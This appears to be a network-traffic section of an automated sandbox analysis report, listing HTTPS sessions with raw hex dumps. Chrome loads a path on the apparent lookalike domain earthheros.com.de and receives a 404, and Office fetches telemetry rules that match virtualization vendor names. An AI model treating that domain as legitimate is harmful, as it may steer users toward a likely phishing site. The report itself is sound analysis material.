2024-10-16 15:56:40 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49793	172.67.157.17	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:40 UTC	596	OUT	GET /favicon.ico HTTP/1.1 Host: earthheros.com.de Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earthheros.com.de/QmVlO/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:41 UTC	698	IN	HTTP/1.1 404 Not Found Date: Wed, 16 Oct 2024 15:56:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cache-control: private, no-cache, max-age=0 pragma: no-cache vary: Accept-Encoding CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wlrxmRQwvcL2MfRh4KZUeObt2EJNbn0fQyg7hpGwnSuHZIxOM9wiAtcnz%2Fns4CghfdzDjxwd9RBO9kO%2BqbXrghj8iZ8MlSiuzJlJph7A6oGM0uMH9HJrlih07fDiFXer05K6iQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8d393d82ec134572-ATL alt-svc: h3=":443"; ma=86400
2024-10-16 15:56:41 UTC	671	IN	Data Raw: 34 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f Data Ascii: 4e1<!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</
2024-10-16 15:56:41 UTC	585	IN	Data Raw: 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 Data Ascii: ;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;ba
2024-10-16 15:56:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:40 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:41 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 43a08f38-101e-008e-79d8-1ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155640Z-16b659b449999m8hsuhyf00exs00000008cg00000000pmkr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:41 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:41 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: dd489f40-801e-0035-5bd8-1e752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155641Z-16b659b4499wvth4ttszf0h3n4000000064g000000009a7k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:41 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:41 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 9658ea3f-301e-0099-7cd8-1e6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155641Z-16b659b4499vb6rgub5604hgz0000000077000000000f30q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:41 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:41 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:41 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 52ed194d-901e-0029-34d8-1e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155641Z-16b659b4499gfl4fdbx49yxptw0000000aag000000004etx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:41 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:41 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:41 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1edf1d90-301e-000c-38d8-1e323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155641Z-16b659b4499gh2srh1fh903xkw00000008bg00000000rstk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:41 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:42 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:41 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 783e300b-401e-00ac-05d8-1e0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155641Z-16b659b44994sn4705n0hqcu3c00000006bg000000007mpf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:42 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:42 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:42 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 746b139f-101e-00a2-24d8-1e9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155642Z-16b659b4499xhcppz4ucy307n400000006ag00000000b5bb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:42 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:42 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:42 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:42 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: caad3713-c01e-0034-63d8-1e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155642Z-16b659b44994c5rr2b3ze9shcc00000007tg000000007eps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:42 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:42 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:42 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 537cb826-401e-000a-45d8-1e4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155642Z-r197bdfb6b4lbgfqheuaxfm7xn00000004v000000000452f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:42 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:42 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
